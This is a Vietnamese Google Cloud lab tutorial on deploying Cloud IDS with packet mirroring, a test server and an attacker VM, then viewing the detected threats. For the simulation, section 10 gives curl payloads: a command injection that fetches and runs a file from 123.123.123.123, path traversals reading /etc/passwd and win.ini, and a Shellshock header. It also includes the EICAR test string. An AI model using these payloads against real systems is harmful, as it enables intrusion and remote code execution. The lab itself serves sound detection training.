1. Giới thiệu
Trong phòng thí nghiệm này, bạn sẽ triển khai Cloud IDS, một dịch vụ phát hiện xâm nhập nâng cao thế hệ mới, giúp phát hiện mối đe doạ đối với hành vi xâm nhập, phần mềm độc hại, phần mềm gián điệp cũng như các cuộc tấn công bằng lệnh và điều khiển. Bạn sẽ mô phỏng nhiều cuộc tấn công và xem thông tin chi tiết về mối đe doạ trong Cloud Console.
Kiến thức bạn sẽ học được
- Cách tạo điểm cuối IDS của Cloud
- Cách tạo 2 máy ảo bằng các lệnh gcloud
- Cách tạo chính sách phản chiếu gói tin
- Cách mô phỏng lưu lượng tấn công từ máy ảo
- Cách xem thông tin chi tiết về mối đe doạ trong Cloud Console và Cloud Logging
Bạn cần có
- Có kiến thức về các lệnh linux cơ bản
2. Các trường hợp sử dụng IDS của Cloud
Cloud IDS cung cấp Dịch vụ phát hiện xâm nhập thế hệ tiếp theo (IDS) của Google Cloud cho khách hàng nhằm đáp ứng các yêu cầu về tuân thủ và phát hiện mối đe doạ nâng cao, chẳng hạn như tiêu chuẩn PCI 11.4. Dịch vụ này sử dụng công nghệ bảo vệ chống lại các mối đe doạ của Palo Alto Networks nhằm cung cấp khả năng phát hiện xâm nhập nâng cao. Nhờ việc kết hợp cơ sở hạ tầng đẳng cấp thế giới của Google Cloud với công nghệ bảo mật đẳng cấp thế giới của Palo Alto Networks, khách hàng có thể tận hưởng một tổ hợp chưa từng có giữa dịch vụ phát hiện mối đe doạ nâng cao, được quản lý toàn diện, hiệu suất cao và hiệu quả bảo mật cao nhất.
Khi khách hàng di chuyển sang nền tảng đám mây, bảo mật là ưu tiên hàng đầu của họ. Công ty này muốn có các biện pháp kiểm soát bảo mật tương tự tại cơ sở hạ tầng riêng, chẳng hạn như Dịch vụ phát hiện xâm nhập (IDS) trên đám mây. Họ đặc biệt thích sử dụng giải pháp IDS được quản lý trên đám mây để dễ triển khai, đạt hiệu suất cao và tối ưu hoá chi phí so với việc triển khai giải pháp bảo mật của bên thứ ba và quản lý cơ sở hạ tầng hoặc sử dụng chữ ký của riêng họ. IDS của Google Cloud cung cấp dịch vụ IDS được quản lý toàn diện và tự động mở rộng quy mô, cho phép khách hàng dành thời gian phân tích và giảm thiểu các mối đe doạ, đồng thời giúp tiết kiệm thời gian và nguồn lực để quản lý cơ sở hạ tầng hoặc chữ ký mối đe doạ.
IDS của Cloud được triển khai ngoài phạm vi và có thể phát hiện cũng như cảnh báo về các mối đe doạ, nhưng không thể chặn các mối đe doạ. Dịch vụ này tận dụng tính năng Phản chiếu gói Google Cloud để tạo bản sao lưu lượng truy cập mạng và phân tích bằng công cụ phát hiện mối đe doạ trên Palo Alto Network.
3. Cấu trúc liên kết của lớp học lập trình
Hình 1. Thông tin tổng quan về cấu trúc cấp cao của việc triển khai IDS của Cloud cho phòng thí nghiệm này.
4. Thiết lập và yêu cầu
Thiết lập môi trường theo tiến độ riêng
- Đăng nhập vào Google Cloud Console rồi tạo dự án mới hoặc sử dụng lại dự án hiện có. Nếu chưa có tài khoản Gmail hoặc Google Workspace, bạn phải tạo một tài khoản.
- Tên dự án là tên hiển thị của những người tham gia dự án này. Đây là một chuỗi ký tự không được API của Google sử dụng và bạn có thể cập nhật chuỗi này bất cứ lúc nào.
- Mã dự án phải là duy nhất trong tất cả các dự án Google Cloud và không thể thay đổi (không thể thay đổi sau khi đã đặt). Cloud Console sẽ tự động tạo một chuỗi duy nhất; thường bạn không quan tâm đến sản phẩm đó là gì. Trong hầu hết các lớp học lập trình, bạn sẽ cần tham chiếu đến Mã dự án (và mã này thường được xác định là
PROJECT_ID
). Vì vậy, nếu không thích, bạn có thể tạo một mã ngẫu nhiên khác hoặc bạn có thể thử mã của riêng mình để xem có mã này chưa. Sau đó, video sẽ được "đóng băng" sau khi tạo dự án. - Có giá trị thứ ba là Project Number (Số dự án) mà một số API sử dụng. Tìm hiểu thêm về cả ba giá trị này trong tài liệu này.
- Tiếp theo, bạn sẽ cần bật tính năng thanh toán trong Cloud Console để sử dụng tài nguyên/API trên Cloud. Việc chạy qua lớp học lập trình này sẽ không tốn nhiều chi phí. Để tắt các tài nguyên để bạn không phải chịu thanh toán ngoài hướng dẫn này, hãy làm theo mọi thao tác "dọn dẹp" hướng dẫn ở cuối lớp học lập trình. Người dùng mới của Google Cloud đủ điều kiện tham gia chương trình Dùng thử miễn phí 300 USD.
Khởi động Cloud Shell
Mặc dù bạn có thể vận hành Google Cloud từ xa trên máy tính xách tay, nhưng trong lớp học lập trình này, bạn sẽ sử dụng Google Cloud Shell, một môi trường dòng lệnh chạy trong Đám mây.
Trong Bảng điều khiển GCP, hãy nhấp vào biểu tượng Cloud Shell ở thanh công cụ trên cùng bên phải:
Sẽ chỉ mất một chút thời gian để cấp phép và kết nối với môi trường. Sau khi hoàn tất, bạn sẽ thấy như sau:
Máy ảo này chứa tất cả các công cụ phát triển mà bạn cần. Phiên bản này cung cấp thư mục gốc có dung lượng ổn định 5 GB và chạy trên Google Cloud, giúp nâng cao đáng kể hiệu suất và khả năng xác thực của mạng. Bạn có thể thực hiện tất cả công việc trong phòng thí nghiệm này chỉ bằng một trình duyệt.
5. Trước khi bắt đầu
Bật API
Bên trong Cloud Shell, hãy đảm bảo rằng bạn thiết lập mã dự án
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Bật tất cả dịch vụ cần thiết
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. Tạo mạng VPC
Mạng VPC
Của Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Mạng con
Của Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Quyền truy cập vào dịch vụ riêng tư
Của Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Kết nối dịch vụ riêng tư
Của Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Quy tắc về tường lửa
Để cho phép IAP kết nối với các phiên bản máy ảo của bạn, hãy tạo một quy tắc tường lửa:
- Áp dụng cho tất cả các thực thể máy ảo mà bạn muốn truy cập được bằng cách sử dụng IAP.
- Cho phép lưu lượng truy cập vào từ dải IP 35.235.240.0/20. Dải ô này chứa tất cả địa chỉ IP mà IAP sử dụng để chuyển tiếp TCP.
Của Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
Cách cho phép cổng HTTP tiêu chuẩn (TCP 80) và giao thức ICMP đến máy chủ:
- Áp dụng cho tài nguyên có thẻ mạng "server"
- Cho phép lưu lượng vào từ tất cả các nguồn
Của Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Tạo thực thể Cloud NAT
Bộ định tuyến đám mây
Của Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
NAT của đám mây
Của Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Tạo điểm cuối IDS của Cloud
Trong phần này, bạn sẽ tạo một Điểm cuối IDS của Cloud trong us-east1 với mức độ nghiêm trọng được đặt là thông tin. Quá trình tạo điểm cuối IDS mất khoảng 20 phút.
Điểm cuối IDS
Của Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Xác minh điểm cuối IDS của Cloud đã được khởi tạo
gcloud ids endpoints list --project=$PROJECT_ID
Đầu ra -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. Tạo 2 máy ảo
Trong phần này, bạn sẽ tạo 2 máy ảo. Đầu tiên sẽ là máy chủ web đang phản chiếu IDS của Cloud. Máy ảo thứ hai sẽ là nguồn lưu lượng tấn công của bạn.
Máy ảo 1 (Máy chủ)
Của Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Máy ảo 2 (Khách hàng)
Của Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Đang chuẩn bị máy chủ
Trong nhiệm vụ này, bạn sẽ xác thực máy chủ của mình và cung cấp tải trọng phần mềm độc hại vô hại cho khách hàng.
SSH vào máy ảo thông qua Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Xác nhận dịch vụ web đang chạy
sudo systemctl status nginx
Đầu ra – xác minh là đang hoạt động và đang chạy
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Thay đổi thư mục thành dịch vụ web
cd /var/www/html/
Tạo tệp phần mềm độc hại vô hại trên máy chủ web
sudo touch eicar.file
Dán nội dung
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Quay lại CloudShell
exit
Tạo chính sách phản chiếu gói IDS của Cloud
Xác định Quy tắc chuyển tiếp điểm cuối IDS và xác nhận trạng thái của điểm cuối IDS là "READY".
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Kết quả mẫu – Sao chép giá trị từ "endpointredirectRule"
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
Lưu Quy tắc chuyển tiếp điểm cuối IDS vào một biến.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Chính sách về sao chép gói
Của Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Kiểm tra để đảm bảo đã tạo chính sách phản chiếu gói dữ liệu
Của Cloud Shell
gcloud compute packet-mirrorings list
Đầu ra
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Mô phỏng lưu lượng truy cập tấn công
SSH vào máy ảo của kẻ tấn công (Máy khách)
Của Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Chạy các yêu cầu curl sau đây để mô phỏng lưu lượng truy cập độc hại.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
Thoát máy ảo để quay lại CloudShell
exit
11. Xem xét các mối đe doạ do IDS của Cloud IDS phát hiện
Chuyển đến Trang tổng quan về IDS của Cloud
Trình đơn điều hướng > Bảo mật mạng > IDS của Cloud
Chuyển đến thẻ Mối đe doạ.
Như bạn có thể thấy, IDS của Cloud đã ghi lại nhiều hồ sơ lưu lượng tấn công và cung cấp thông tin chi tiết về từng mối đe doạ. Có thể bạn cần nhấp vào nút "Làm mới" nếu bạn không thấy bất kỳ mối đe doạ nào. Giờ chúng ta sẽ tìm hiểu sâu hơn một chút và xem thông tin chi tiết về các mối đe doạ.
Xác định vị trí "Lỗ hổng thực thi mã từ xa Bash" mối đe doạ và nhấp vào ba dấu chấm ở bên phải rồi chọn "Xem thông tin chi tiết về mối đe doạ"
Bây giờ, chúng ta sẽ xem thông tin chi tiết về sự cố này trong phần Ghi nhật ký trên đám mây. Quay lại trang Mối đe doạ bằng cách nhấp vào mũi tên chỉ sang trái .
Nhấp vào ba dấu chấm ở bên phải rồi chọn "Xem nhật ký mối đe doạ"
Thông tin tương tự cũng được cung cấp cho tính năng Ghi nhật ký trên đám mây. Việc này cho phép bạn gửi nhật ký lên Cloud Storage, Chronicle hoặc bất kỳ SIEM/SOAR nào. Bạn cũng có thể tạo quy trình làm việc tuỳ chỉnh để thực hiện biện pháp khắc phục dựa trên các cảnh báo, ví dụ: tạo một chức năng đám mây kích hoạt khi có cảnh báo và tạo/cập nhật quy tắc tường lửa để chặn địa chỉ IP hoặc tạo/cập nhật chính sách Cloud Armor.
12. Các bước dọn dẹp
Thoát khỏi phiên bản máy ảo (tất cả các thẻ)
exit
Từ một thiết bị đầu cuối Cloud Shell, xoá các thành phần trong phòng thí nghiệm
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. Xin chúc mừng!
Chúc mừng bạn đã hoàn thành lớp học lập trình.
Nội dung đã đề cập
- Các trường hợp sử dụng IDS của Cloud
- Yêu cầu về mạng
- API được hỗ trợ
- Đã tạo điểm cuối IDS của Cloud
- Đã triển khai 2 máy ảo
- Đã tạo ra một số "cuộc tấn công" lưu lượng truy cập từ ứng dụng
- IDS phát hiện các mối đe doạ được xác minh
- Xem nhật ký và thông tin chi tiết về mối đe doạ